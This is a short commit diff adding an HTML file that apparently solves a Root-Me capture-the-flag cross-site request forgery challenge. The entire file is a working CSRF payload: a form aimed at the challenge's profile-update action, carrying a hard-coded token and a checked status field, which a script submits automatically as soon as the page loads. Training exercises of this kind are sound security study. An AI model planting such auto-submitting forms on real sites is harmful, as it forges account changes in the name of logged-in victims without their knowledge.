second chall csrf

root-me/payload.html

@@ -0,0 +1,10 @@
+<form id="pl" method="GET" action="http://challenge01.root-me.org/web-client/ch23/?action=profile">
+    <input type="text" name="username" value="a">
+    <input type="checkbox" name="status" checked>
+    <input type="text" name="token" value="769c1cabcf028393e63536a45f96c19e">
+</form>
+
+<script>
+    pl = document.getElementById("pl");
+    pl.submit();
+</script>